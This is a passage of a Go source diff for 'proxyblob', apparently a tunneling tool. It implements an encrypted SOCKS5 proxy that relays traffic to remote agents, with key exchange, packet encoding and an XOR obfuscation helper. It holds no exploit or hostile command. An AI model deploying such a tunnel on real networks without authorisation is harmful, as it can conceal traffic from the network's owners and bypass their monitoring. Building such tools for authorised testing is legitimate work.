// StateConnected indicates an active connection with data flow
|
||||
StateConnected
|
||||
|
||||
// StateClosed indicates a terminated connection
|
||||
StateClosed
|
||||
)
|
||||
|
||||
// Connection manages a proxy connection between client and target.
|
||||
// It is safe for concurrent use by multiple goroutines.
|
||||
type Connection struct {
|
||||
// ID uniquely identifies the connection
|
||||
ID uuid.UUID
|
||||
|
||||
// State indicates current connection lifecycle phase
|
||||
State ConnectionState
|
||||
|
||||
// Conn holds the network connection (optional)
|
||||
Conn net.Conn
|
||||
|
||||
// ReadBuffer receives data from the remote endpoint
|
||||
ReadBuffer chan []byte
|
||||
|
||||
// Closed signals connection termination
|
||||
Closed chan struct{}
|
||||
|
||||
// CreatedAt records connection creation time
|
||||
CreatedAt time.Time
|
||||
|
||||
// LastActivity tracks most recent data transfer
|
||||
LastActivity time.Time
|
||||
|
||||
// SecretKey holds encryption key for secure communication
|
||||
SecretKey []byte
|
||||
}
|
||||
|
||||
// NewConnection creates a connection with specified ID.
|
||||
// Initializes channels and sets initial timestamps.
|
||||
func NewConnection(id uuid.UUID) *Connection {
|
||||
return &Connection{
|
||||
ID: id,
|
||||
State: StateNew,
|
||||
ReadBuffer: make(chan []byte),
|
||||
Closed: make(chan struct{}),
|
||||
CreatedAt: time.Now(),
|
||||
LastActivity: time.Now(),
|
||||
}
|
||||
}
|
||||
|
||||
// Close terminates the connection and its resources.
|
||||
// Safe to call multiple times. Returns ErrNone on success.
|
||||
func (c *Connection) Close() byte {
|
||||
if c.State == StateClosed {
|
||||
return ErrNone
|
||||
}
|
||||
|
||||
c.State = StateClosed
|
||||
|
||||
select {
|
||||
case <-c.Closed:
|
||||
// Already closed
|
||||
default:
|
||||
close(c.Closed)
|
||||
}
|
||||
|
||||
if c.Conn != nil {
|
||||
err := c.Conn.Close()
|
||||
if err != nil {
|
||||
return ErrConnectionClosed
|
||||
}
|
||||
}
|
||||
|
||||
return ErrNone
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
package protocol
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"io"
|
||||
|
||||
"golang.org/x/crypto/chacha20poly1305"
|
||||
"golang.org/x/crypto/curve25519"
|
||||
"golang.org/x/crypto/hkdf"
|
||||
"golang.org/x/crypto/sha3"
|
||||
)
|
||||
|
||||
// GenerateKeyPair creates a new X25519 key pair for key exchange.
|
||||
// Returns a properly clamped private key and its corresponding public key.
|
||||
func GenerateKeyPair() (privateKey, publicKey []byte) {
|
||||
privateKey = make([]byte, curve25519.ScalarSize)
|
||||
io.ReadFull(rand.Reader, privateKey)
|
||||
|
||||
// Clamp private key according to X25519 spec
|
||||
privateKey[0] &= 248
|
||||
privateKey[31] &= 127
|
||||
privateKey[31] |= 64
|
||||
|
||||
publicKey, _ = curve25519.X25519(privateKey, curve25519.Basepoint)
|
||||
return privateKey, publicKey
|
||||
}
|
||||
|
||||
// GenerateNonce creates a random nonce for ChaCha20-Poly1305.
|
||||
// Returns a cryptographically secure random nonce.
|
||||
func GenerateNonce() []byte {
|
||||
nonce := make([]byte, chacha20poly1305.NonceSizeX)
|
||||
io.ReadFull(rand.Reader, nonce)
|
||||
return nonce
|
||||
}
|
||||
|
||||
// DeriveKey performs X25519 key exchange and HKDF key derivation.
|
||||
// Returns a symmetric key and status code. Key is nil on error.
|
||||
func DeriveKey(privateKey, peerPublicKey, nonce []byte) ([]byte, byte) {
|
||||
// Derive shared secret using X25519
|
||||
sharedSecret, err := curve25519.X25519(privateKey, peerPublicKey)
|
||||
if err != nil {
|
||||
return nil, ErrInvalidCrypto
|
||||
}
|
||||
|
||||
// Derive symmetric key using HKDF-SHA3
|
||||
kdf := hkdf.New(sha3.New256, sharedSecret, nonce, nil)
|
||||
symmetricKey := make([]byte, chacha20poly1305.KeySize)
|
||||
if _, err := io.ReadFull(kdf, symmetricKey); err != nil {
|
||||
return nil, ErrInvalidCrypto
|
||||
}
|
||||
|
||||
return symmetricKey, ErrNone
|
||||
}
|
||||
|
||||
// Encrypt performs authenticated encryption using ChaCha20-Poly1305.
|
||||
// Returns (nonce || ciphertext || tag) or nil on error.
|
||||
func Encrypt(key, plaintext []byte) ([]byte, byte) {
|
||||
aead, err := chacha20poly1305.NewX(key)
|
||||
if err != nil {
|
||||
return nil, ErrInvalidCrypto
|
||||
}
|
||||
|
||||
nonce := GenerateNonce()
|
||||
ciphertext := aead.Seal(nonce, nonce, plaintext, nil)
|
||||
return ciphertext, ErrNone
|
||||
}
|
||||
|
||||
// Decrypt performs authenticated decryption using ChaCha20-Poly1305.
|
||||
// Returns decrypted plaintext or nil if authentication fails.
|
||||
func Decrypt(key, ciphertext []byte) ([]byte, byte) {
|
||||
aead, err := chacha20poly1305.NewX(key)
|
||||
if err != nil {
|
||||
return nil, ErrInvalidCrypto
|
||||
}
|
||||
|
||||
if len(ciphertext) < chacha20poly1305.NonceSizeX {
|
||||
return nil, ErrInvalidCrypto
|
||||
}
|
||||
|
||||
nonce := ciphertext[:chacha20poly1305.NonceSizeX]
|
||||
ciphertextBody := ciphertext[chacha20poly1305.NonceSizeX:]
|
||||
|
||||
plaintext, err := aead.Open(nil, nonce, ciphertextBody, nil)
|
||||
if err != nil {
|
||||
return nil, ErrInvalidCrypto
|
||||
}
|
||||
|
||||
return plaintext, ErrNone
|
||||
}
|
||||
|
||||
// Xor performs byte-wise XOR of data with a repeating key.
|
||||
// Warning: This is NOT cryptographically secure, use only for basic obfuscation.
|
||||
func Xor(data []byte, key []byte) []byte {
|
||||
for i := range data {
|
||||
data[i] ^= key[i%len(key)]
|
||||
}
|
||||
return data
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
// Package protocol defines the communication protocol between proxy and agent.
|
||||
package protocol
|
||||
|
||||
import (
|
||||
"proxyblob/pkg/transport"
|
||||
)
|
||||
|
||||
// Protocol error codes for agent-server communication.
|
||||
// Uses byte values to minimize binary size and network traffic.
|
||||
const (
|
||||
// General errors (0-9)
|
||||
ErrNone byte = 0 // Operation completed successfully
|
||||
ErrInvalidCommand byte = 1 // Command type is not recognized
|
||||
ErrContextCanceled byte = 2 // Context canceled
|
||||
|
||||
// Connection errors (10-19)
|
||||
ErrConnectionClosed byte = 10 // Connection was terminated
|
||||
ErrConnectionNotFound byte = 11 // Connection ID does not exist
|
||||
ErrConnectionExists byte = 12 // Connection ID already in use
|
||||
ErrInvalidState byte = 13 // Connection in wrong state for operation
|
||||
ErrPacketSendFailed byte = 14 // Packet transmission failed
|
||||
ErrHandlerStopped byte = 15 // Protocol handler is not running
|
||||
ErrUnexpectedPacket byte = 16 // Received unexpected packet type
|
||||
|
||||
// Transport errors (20-29)
|
||||
ErrTransportClosed byte = transport.ErrTransportClosed // Transport layer terminated
|
||||
ErrTransportTimeout byte = transport.ErrTransportTimeout // Transport operation timed out
|
||||
ErrTransportError byte = transport.ErrTransportError // Transport operation failed
|
||||
|
||||
// SOCKS errors (30-39)
|
||||
ErrInvalidSocksVersion byte = 30 // Unsupported SOCKS protocol version
|
||||
ErrUnsupportedCommand byte = 31 // SOCKS command not implemented
|
||||
ErrHostUnreachable byte = 32 // Target host not accessible
|
||||
ErrConnectionRefused byte = 33 // Target refused connection
|
||||
ErrNetworkUnreachable byte = 34 // Network path not accessible
|
||||
ErrAddressNotSupported byte = 35 // Address format not supported
|
||||
ErrTTLExpired byte = 36 // Time-to-live exceeded
|
||||
ErrGeneralSocksFailure byte = 37 // Unspecified SOCKS failure
|
||||
ErrAuthFailed byte = 38 // Authentication rejected
|
||||
|
||||
// Packet errors (40-49)
|
||||
ErrInvalidPacket byte = 40 // Malformed packet structure
|
||||
ErrInvalidCrypto byte = 41 // Cryptographic operation failed
|
||||
)
|
||||
@@ -0,0 +1,108 @@
|
||||
// Package protocol implements the communication protocol between proxy server and agent.
|
||||
// It provides packet encoding/decoding, connection management, and secure data transfer
|
||||
// using ChaCha20-Poly1305.
|
||||
//
|
||||
// The protocol uses a binary packet format with fixed-size headers and variable-length
|
||||
// payloads. Each packet contains a command type, connection ID, and optional data.
|
||||
package protocol
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// Command types for protocol operations.
|
||||
const (
|
||||
CmdNew byte = iota + 1 // Request new connection
|
||||
CmdAck // Acknowledge connection
|
||||
CmdData // Transfer data
|
||||
CmdClose // Terminate connection
|
||||
)
|
||||
|
||||
// Protocol packet field sizes in bytes.
|
||||
const (
|
||||
CommandSize = 1 // Command field
|
||||
UUIDSize = 16 // Connection ID field
|
||||
DataLengthSize = 4 // Payload length field
|
||||
HeaderSize = CommandSize + UUIDSize + DataLengthSize
|
||||
)
|
||||
|
||||
// Packet represents a protocol message with the following binary format:
|
||||
//
|
||||
// +---------+----------------+--------------+---------+
|
||||
// | Command | Connection ID | Data Length | Payload |
|
||||
// +---------+----------------+--------------+---------+
|
||||
// | 1B | 16B | 4B | var |
|
||||
type Packet struct {
|
||||
Command byte // Operation type (CmdNew, CmdAck, etc.)
|
||||
ConnectionID uuid.UUID // Unique connection identifier
|
||||
Data []byte // Optional payload data
|
||||
}
|
||||
|
||||
// NewPacket creates a protocol packet with the given parameters.
|
||||
// The data parameter is optional and may be nil.
|
||||
func NewPacket(command byte, connectionID uuid.UUID, data []byte) *Packet {
|
||||
return &Packet{
|
||||
Command: command,
|
||||
ConnectionID: connectionID,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
|
||||
// Encode serializes the packet into a byte slice following the protocol format.
|
||||
// Returns nil if any encoding operation fails.
|
||||
func (p *Packet) Encode() []byte {
|
||||
buf := bytes.NewBuffer(make([]byte, 0, HeaderSize+len(p.Data)))
|
||||
|
||||
if err := buf.WriteByte(p.Command); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if _, err := buf.Write(p.ConnectionID[:]); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := binary.Write(buf, binary.BigEndian, uint32(len(p.Data))); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if len(p.Data) > 0 {
|
||||
if _, err := buf.Write(p.Data); err != nil {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// Decode deserializes a byte slice into a protocol packet.
|
||||
// Returns nil if the data is malformed, incomplete, or contains an invalid command.
|
||||
// The input must contain at least HeaderSize bytes and match the encoded length.
|
||||
func Decode(data []byte) *Packet {
|
||||
if len(data) < HeaderSize {
|
||||
return nil
|
||||
}
|
||||
|
||||
command := data[0]
|
||||
if command < CmdNew || command > CmdClose {
|
||||
return nil
|
||||
}
|
||||
|
||||
var id uuid.UUID
|
||||
copy(id[:], data[CommandSize:CommandSize+UUIDSize])
|
||||
|
||||
dataLength := binary.BigEndian.Uint32(data[CommandSize+UUIDSize : HeaderSize])
|
||||
if uint32(len(data)) != uint32(HeaderSize)+dataLength {
|
||||
return nil
|
||||
}
|
||||
|
||||
var packetData []byte
|
||||
if dataLength > 0 {
|
||||
packetData = make([]byte, dataLength)
|
||||
copy(packetData, data[HeaderSize:])
|
||||
}
|
||||
|
||||
return NewPacket(command, id, packetData)
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
// Package proxy implements a SOCKS proxy server.
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"proxyblob/pkg/protocol"
|
||||
)
|
||||
|
||||
// ErrToString maps protocol error codes to human-readable messages.
|
||||
// These messages are only used on the server side for logging and debugging.
|
||||
var ErrToString = map[byte]string{
|
||||
// General errors
|
||||
protocol.ErrNone: "no error",
|
||||
protocol.ErrInvalidCommand: "invalid command",
|
||||
protocol.ErrContextCanceled: "context canceled",
|
||||
|
||||
// Connection state errors
|
||||
protocol.ErrConnectionClosed: "connection closed",
|
||||
protocol.ErrConnectionNotFound: "connection not found",
|
||||
protocol.ErrConnectionExists: "connection already exists",
|
||||
protocol.ErrInvalidState: "invalid connection state",
|
||||
protocol.ErrPacketSendFailed: "failed to send packet",
|
||||
protocol.ErrHandlerStopped: "handler stopped",
|
||||
protocol.ErrUnexpectedPacket: "unexpected packet received",
|
||||
|
||||
// Transport layer errors
|
||||
protocol.ErrTransportClosed: "transport closed",
|
||||
protocol.ErrTransportTimeout: "transport timeout",
|
||||
protocol.ErrTransportError: "general transport error",
|
||||
|
||||
// SOCKS reply codes
|
||||
protocol.ErrInvalidSocksVersion: "invalid SOCKS version",
|
||||
protocol.ErrUnsupportedCommand: "unsupported command",
|
||||
protocol.ErrHostUnreachable: "host unreachable",
|
||||
protocol.ErrConnectionRefused: "connection refused",
|
||||
protocol.ErrNetworkUnreachable: "network unreachable",
|
||||
protocol.ErrAddressNotSupported: "address type not supported",
|
||||
protocol.ErrTTLExpired: "TTL expired",
|
||||
protocol.ErrGeneralSocksFailure: "general SOCKS server failure",
|
||||
protocol.ErrAuthFailed: "authentication failed",
|
||||
|
||||
// Protocol packet errors
|
||||
protocol.ErrInvalidPacket: "invalid protocol packet structure",
|
||||
protocol.ErrInvalidCrypto: "invalid cryptographic operation",
|
||||
}
|
||||
@@ -0,0 +1,302 @@
|
||||
// Package proxy implements a SOCKS proxy server.
|
||||
// It accepts client connections and forwards traffic through transport channels
|
||||
// to remote agents. The server manages connection lifecycle, encryption, and
|
||||
// bidirectional data transfer.
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"proxyblob/pkg/protocol"
|
||||
"proxyblob/pkg/transport"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/rs/zerolog/log"
|
||||
)
|
||||
|
||||
// ProxyServer implements a SOCKS proxy server that forwards traffic transparently.
|
||||
// It accepts client connections and manages the protocol flow between clients and
|
||||
// remote agents.
|
||||
type ProxyServer struct {
|
||||
// BaseHandler provides common protocol functionality
|
||||
*protocol.BaseHandler
|
||||
|
||||
// Listener accepts incoming TCP connections
|
||||
Listener net.Listener
|
||||
}
|
||||
|
||||
// NewProxyServer creates a proxy server instance with the given transport.
|
||||
// The transport is used for communication with remote agents.
|
||||
func NewProxyServer(ctx context.Context, transport transport.Transport) *ProxyServer {
|
||||
server := &ProxyServer{}
|
||||
server.BaseHandler = protocol.NewBaseHandler(ctx, transport)
|
||||
server.PacketHandler = server
|
||||
return server
|
||||
}
|
||||
|
||||
// Start begins listening for client connections on the specified address.
|
||||
// It launches background goroutines for accepting connections and processing
|
||||
// protocol messages. If listening fails, the server is stopped.
|
||||
func (s *ProxyServer) Start(address string) {
|
||||
var err error
|
||||
s.Listener, err = net.Listen("tcp", address)
|
||||
if err != nil {
|
||||
log.Error().Err(err).Str("addr", address).Msg("Failed to listen on address")
|
||||
s.Stop()
|
||||
return
|
||||
}
|
||||
|
||||
go s.ReceiveLoop()
|
||||
go s.acceptLoop()
|
||||
}
|
||||
|
||||
// Stop gracefully terminates the proxy server by closing all active
|
||||
// connections, canceling the handler's context, and stopping the listener.
|
||||
func (s *ProxyServer) Stop() {
|
||||
s.CloseAllConnections()
|
||||
s.Cancel()
|
||||
if s.Listener != nil {
|
||||
s.Listener.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// OnNew handles new connection requests. The server is the only one initiating
|
||||
// connections, so this always returns ErrUnexpectedPacket.
|
||||
func (s *ProxyServer) OnNew(connectionID uuid.UUID, data []byte) byte {
|
||||
return protocol.ErrUnexpectedPacket
|
||||
}
|
||||
|
||||
// OnAck processes connection acknowledgments from agents. It derives a shared
|
||||
// encryption key using the agent's public key and updates the connection state.
|
||||
// Returns an error code indicating success or failure.
|
||||
func (s *ProxyServer) OnAck(connectionID uuid.UUID, data []byte) byte {
|
||||
value, ok := s.Connections.Load(connectionID)
|
||||
if !ok {
|
||||
return protocol.ErrConnectionNotFound
|
||||
}
|
||||
conn := value.(*protocol.Connection)
|
||||
|
||||
if conn.State != protocol.StateNew {
|
||||
return protocol.ErrInvalidState
|
||||
}
|
||||
|
||||
clientPublicKey := data[:32]
|
||||
|
||||
// At this point,conn.SecretKey contains [24B nonce][32B server private key]
|
||||
nonce := conn.SecretKey[:24]
|
||||
serverPrivateKey := conn.SecretKey[24:]
|
||||
|
||||
// Derive the shared key
|
||||
symmetricKey, errCode := protocol.DeriveKey(serverPrivateKey, clientPublicKey, nonce)
|
||||
if errCode != protocol.ErrNone {
|
||||
return errCode
|
||||
}
|
||||
|
||||
// Store the symmetric key
|
||||
conn.SecretKey = symmetricKey
|
||||
|
||||
// Signal connection acknowledgment (non-blocking)
|
||||
conn.ReadBuffer <- []byte{}
|
||||
conn.State = protocol.StateConnected
|
||||
conn.LastActivity = time.Now()
|
||||
return protocol.ErrNone
|
||||
}
|
||||
|
||||
// OnData processes data received from agents. It decrypts the data and forwards
|
||||
// it to the client. Returns an error code indicating success or failure.
|
||||
func (s *ProxyServer) OnData(connectionID uuid.UUID, data []byte) byte {
|
||||
value, ok := s.Connections.Load(connectionID)
|
||||
if !ok {
|
||||
return protocol.ErrConnectionNotFound
|
||||
}
|
||||
conn := value.(*protocol.Connection)
|
||||
conn.LastActivity = time.Now()
|
||||
|
||||
decrypted, errCode := protocol.Decrypt(conn.SecretKey, data)
|
||||
if errCode != protocol.ErrNone {
|
||||
return errCode
|
||||
}
|
||||
data = decrypted
|
||||
|
||||
// Writing to client is handled by forwardToClient goroutine
|
||||
select {
|
||||
case <-s.Ctx.Done():
|
||||
return protocol.ErrConnectionClosed
|
||||
case conn.ReadBuffer <- data:
|
||||
return protocol.ErrNone
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// OnClose handles connection termination from agents. It cleans up the
|
||||
// connection state.
|
||||
func (s *ProxyServer) OnClose(connectionID uuid.UUID, errorCode byte) byte {
|
||||
value, ok := s.Connections.Load(connectionID)
|
||||
if !ok {
|
||||
return protocol.ErrNone // Connection already removed, nothing to do
|
||||
}
|
||||
conn := value.(*protocol.Connection)
|
||||
conn.Close()
|
||||
s.Connections.Delete(connectionID)
|
||||
return errorCode
|
||||
}
|
||||
|
||||
// acceptLoop accepts incoming TCP connections and spawns goroutines to handle
|
||||
// each one. It continues until the context is canceled or a non-temporary
|
||||
// error occurs.
|
||||
func (s *ProxyServer) acceptLoop() {
|
||||
for {
|
||||
select {
|
||||
case <-s.Ctx.Done():
|
||||
return
|
||||
default:
|
||||
conn, err := s.Listener.Accept()
|
||||
if err != nil {
|
||||
if s.Ctx.Err() != nil {
|
||||
return // Exit quietly on shutdown
|
||||
}
|
||||
|
||||
if _, ok := err.(net.Error); ok {
|
||||
continue // Retry on temporary network errors
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
go s.handleConnection(conn)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// handleConnection processes a new client connection by:
|
||||
// - Generating a unique connection ID
|
||||
// - Initiating connection with remote agent
|
||||
// - Setting up bidirectional data forwarding
|
||||
// - Managing connection lifecycle and cleanup
|
||||
func (s *ProxyServer) handleConnection(clientConn net.Conn) {
|
||||
defer clientConn.Close()
|
||||
|
||||
connID := uuid.New()
|
||||
proxyConn := protocol.NewConnection(connID)
|
||||
s.Connections.Store(proxyConn.ID, proxyConn)
|
||||
|
||||
// 1. Initiate connection with the agent
|
||||
errCode := s.SendNewConnection(connID)
|
||||
if errCode != protocol.ErrNone {
|
||||
s.Connections.Delete(connID)
|
||||
return
|
||||
}
|
||||
|
||||
// 2. Wait for agent acknowledgment with timeout
|
||||
select {
|
||||
case <-s.Ctx.Done():
|
||||
s.SendClose(connID, protocol.ErrHandlerStopped)
|
||||
s.Connections.Delete(connID)
|
||||
return
|
||||
case <-time.After(5 * time.Second):
|
||||
s.SendClose(connID, protocol.ErrTransportTimeout)
|
||||
s.Connections.Delete(connID)
|
||||
return
|
||||
case <-proxyConn.ReadBuffer:
|
||||
// Agent acknowledged connection
|
||||
}
|
||||
|
||||
// 3. Connection established, start bidirectional forwarding
|
||||
proxyConn.State = protocol.StateConnected
|
||||
proxyConn.LastActivity = time.Now()
|
||||
|
||||
errCh := make(chan byte, 2)
|
||||
go s.forwardToAgent(clientConn, proxyConn, errCh)
|
||||
go s.forwardToClient(clientConn, proxyConn, errCh)
|
||||
|
||||
// Wait for error, closed connection, or context cancellation
|
||||
select {
|
||||
case <-s.Ctx.Done():
|
||||
// Context cancelled, closing connection
|
||||
case <-proxyConn.Closed:
|
||||
// Connection closed by agent
|
||||
case errCode := <-errCh:
|
||||
if errCode != protocol.ErrNone && errCode != protocol.ErrConnectionClosed {
|
||||
log.Error().Str("msg", ErrToString[errCode]).Msg("Connection error")
|
||||
}
|
||||
}
|
||||
|
||||
// Clean up the connection
|
||||
s.SendClose(connID, protocol.ErrConnectionClosed)
|
||||
proxyConn.Close()
|
||||
s.Connections.Delete(connID)
|
||||
}
|
||||
|
||||
// forwardToAgent reads data from the client connection and forwards it to
|
||||
// the remote agent. It continues until an error occurs or the connection
|
||||
// is closed.
|
||||
func (s *ProxyServer) forwardToAgent(clientConn net.Conn, proxyConn *protocol.Connection, errCh chan<- byte) {
|
||||
buffer := make([]byte, 64*1024)
|
||||
|
||||
for {
|
||||
// Check early termination conditions
|
||||
if proxyConn.State == protocol.StateClosed {
|
||||
return
|
||||
}
|
||||
|
||||
select {
|
||||
case <-s.Ctx.Done():
|
||||
return
|
||||
case <-proxyConn.Closed:
|
||||
return
|
||||
default:
|
||||
// Continue processing
|
||||
}
|
||||
|
||||
n, err := clientConn.Read(buffer)
|
||||
if err != nil {
|
||||
if errors.Is(err, io.EOF) {
|
||||
errCh <- protocol.ErrConnectionClosed
|
||||
} else if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
|
||||
errCh <- protocol.ErrTransportTimeout
|
||||
} else {
|
||||
// General network error
|
||||
errCh <- protocol.ErrNetworkUnreachable
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
errCode := s.SendData(proxyConn.ID, buffer[:n])
|
||||
if errCode != protocol.ErrNone {
|
||||
errCh <- protocol.ErrPacketSendFailed
|
||||
return
|
||||
}
|
||||
|
||||
proxyConn.LastActivity = time.Now()
|
||||
}
|
||||
}
|
||||
|
||||
// forwardToClient reads data from the connection's read buffer and forwards
|
||||
// it to the client. It continues until an error occurs or the connection
|
||||
// is closed.
|
||||
func (s *ProxyServer) forwardToClient(clientConn net.Conn, proxyConn *protocol.Connection, errCh chan<- byte) {
|
||||
for {
|
||||
select {
|
||||
case <-s.Ctx.Done():
|
||||
return
|
||||
case <-proxyConn.Closed:
|
||||
return
|
||||
case data := <-proxyConn.ReadBuffer:
|
||||
proxyConn.LastActivity = time.Now()
|
||||
_, err := clientConn.Write(data)
|
||||
if err != nil {
|
||||
if errors.Is(err, io.EOF) {
|
||||
errCh <- protocol.ErrConnectionClosed
|
||||
} else if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
|
||||
errCh <- protocol.ErrTransportTimeout
|
||||
} else {
|
||||
// General network error
|
||||
errCh <- protocol.ErrNetworkUnreachable
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
// Package proxy implements SOCKS5 proxy functionality.
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net"
|
||||
|
||||
"proxyblob/pkg/protocol"
|
||||
)
|
||||
|
||||
// ParseAddress extracts a target address from SOCKS5 address data.
|
||||
// It returns the address in host:port format and any error encountered.
|
||||
// The address format follows RFC 1928 Section 4.
|
||||
func ParseAddress(data []byte) (string, byte) {
|
||||
addr, _, err := ParseNetworkAddress(data[0], data[1:])
|
||||
if err != protocol.ErrNone {
|
||||
return "", err
|
||||
}
|
||||
return addr, protocol.ErrNone
|
||||
}
|
||||
|
||||
// ParseNetworkAddress parses a network address from SOCKS5 formatted data.
|
||||
// The format is:
|
||||
//
|
||||
// +------+----------+----------+
|
||||
// | ATYP | DST.ADDR | DST.PORT |
|
||||
// +------+----------+----------+
|
||||
// | 1 | Variable | 2 |
|
||||
//
|
||||
// Returns the address string in host:port format, bytes consumed, and any error.
|
||||
func ParseNetworkAddress(addrType byte, data []byte) (string, int, byte) {
|
||||
cursor := 0
|
||||
var addr string
|
||||
|
||||
switch addrType {
|
||||
case IPv4:
|
||||
if len(data) < cursor+4+2 { // 4 bytes IPv4 + 2 bytes port
|
||||
return "", 0, protocol.ErrAddressNotSupported
|
||||
}
|
||||
ip := net.IPv4(data[cursor], data[cursor+1], data[cursor+2], data[cursor+3])
|
||||
addr = ip.String()
|
||||
cursor += 4
|
||||
|
||||
case IPv6:
|
||||
if len(data) < cursor+16+2 { // 16 bytes IPv6 + 2 bytes port
|
||||
return "", 0, protocol.ErrAddressNotSupported
|
||||
}
|
||||
ip := net.IP(data[cursor : cursor+16])
|
||||
addr = fmt.Sprintf("[%s]", ip.String())
|
||||
cursor += 16
|
||||
|
||||
case Domain:
|
||||
if len(data) < cursor+1 { // Need length byte
|
||||
return "", 0, protocol.ErrAddressNotSupported
|
||||
}
|
||||
domainLen := int(data[cursor])
|
||||
cursor++
|
||||
if len(data) < cursor+domainLen+2 { // +2 for port
|
||||
return "", 0, protocol.ErrAddressNotSupported
|
||||
}
|
||||
addr = string(data[cursor : cursor+domainLen])
|
||||
cursor += domainLen
|
||||
|
||||
default:
|
||||
return "", 0, protocol.ErrAddressNotSupported
|
||||
}
|
||||
|
||||
if len(data) < cursor+2 {
|
||||
return "", 0, protocol.ErrAddressNotSupported
|
||||
}
|
||||
|
||||
port := binary.BigEndian.Uint16(data[cursor : cursor+2])
|
||||
cursor += 2
|
||||
|
||||
return fmt.Sprintf("%s:%d", addr, port), cursor, protocol.ErrNone
|
||||
}
|
||||
|
||||
// ExtractUDPHeader parses a SOCKS5 UDP datagram header and returns the target address.
|
||||
// The format is:
|
||||
//
|
||||
// +-----+------+------+----------+----------+----------+
|
||||
// | RSV | FRAG | ATYP | DST.ADDR | DST.PORT | DATA |
|
||||
// +-----+------+------+----------+----------+----------+
|
||||
// | 2 | 1 | 1 | Variable | 2 | Variable |
|
||||
//
|
||||
// Returns the target address, header length, and any error encountered.
|
||||
func ExtractUDPHeader(data []byte) (string, int, byte) {
|
||||
headerLen := 4 // RSV(2) + FRAG(1) + ATYP(1)
|
||||
|
||||
// Parse the address part of the header
|
||||
addr, addrLen, err := ParseNetworkAddress(data[3], data[4:]) // Use ATYP and pass remaining data
|
||||
if err != protocol.ErrNone {
|
||||
return "", 0, err
|
||||
}
|
||||
return addr, headerLen + addrLen, protocol.ErrNone
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"proxyblob/pkg/protocol"
|
||||
)
|
||||
|
||||
// handleBind processes the SOCKS5 BIND command.
|
||||
// The BIND command is used to accept incoming TCP connections
|
||||
// on behalf of the client. This implementation returns
|
||||
// ErrUnsupportedCommand as BIND is not currently supported.
|
||||
//
|
||||
// The command format follows RFC 1928 Section 4.
|
||||
func (h *SocksHandler) handleBind(conn *protocol.Connection, data []byte) byte {
|
||||
return protocol.ErrUnsupportedCommand
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"proxyblob/pkg/protocol"
|
||||
)
|
||||
|
||||
// handleConnect processes the SOCKS5 CONNECT command.
|
||||
// It establishes a TCP connection to the requested target and
|
||||
// sets up bidirectional data transfer between client and target.
|
||||
//
|
||||
// The CONNECT command format is:
|
||||
//
|
||||
// +-----+-----+-----+------+----------+----------+
|
||||
// | VER | CMD | RSV | ATYP | DST.ADDR | DST.PORT |
|
||||
// +-----+-----+-----+------+----------+----------+
|
||||
// | 1 | 1 | 1 | 1 | Variable | 2 |
|
||||
//
|
||||
// Returns an error code indicating success or specific failure reason.
|
||||
func (h *SocksHandler) handleConnect(conn *protocol.Connection, cmdData []byte) byte {
|
||||
if len(cmdData) < 4 {
|
||||
// Send malformed request response
|
||||
response := []byte{Version5, GeneralFailure, 0x00, IPv4, 0, 0, 0, 0, 0, 0}
|
||||
h.SendData(conn.ID, response)
|
||||
return protocol.ErrAddressNotSupported
|
||||
}
|
||||
|
||||
// Parse target address
|
||||
target, errCode := ParseAddress(cmdData[3:])
|
||||
if errCode != protocol.ErrNone {
|
||||
h.SendError(conn, errCode)
|
||||
return errCode
|
||||
}
|
||||
|
||||
// Establish TCP connection to target
|
||||
targetConn, err := net.DialTimeout("tcp", target, 10*time.Second)
|
||||
if err != nil {
|
||||
// Map network error to appropriate SOCKS5 error code
|
||||
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
|
||||
errCode = protocol.ErrTTLExpired
|
||||
} else if opErr, ok := err.(*net.OpError); ok {
|
||||
if opErr.Op == "dial" {
|
||||
errCode = protocol.ErrNetworkUnreachable
|
||||
} else if opErr.Op == "read" {
|
||||
errCode = protocol.ErrHostUnreachable
|
||||
}
|
||||
} else if _, ok := err.(*net.DNSError); ok {
|
||||
errCode = protocol.ErrHostUnreachable
|
||||
} else {
|
||||
errCode = protocol.ErrConnectionRefused
|
||||
}
|
||||
|
||||
// Send failure response with appropriate code
|
||||
h.SendError(conn, errCode)
|
||||
return errCode
|
||||
}
|
||||
|
||||
// Send success response
|
||||
localAddr := targetConn.LocalAddr().(*net.TCPAddr)
|
||||
response := make([]byte, 10)
|
||||
response[0] = Version5
|
||||
response[1] = Succeeded
|
||||
response[2] = 0x00
|
||||
response[3] = IPv4
|
||||
copy(response[4:8], localAddr.IP.To4())
|
||||
binary.BigEndian.PutUint16(response[8:], uint16(localAddr.Port))
|
||||
|
||||
errCode = h.SendData(conn.ID, response)
|
||||
if errCode != protocol.ErrNone {
|
||||
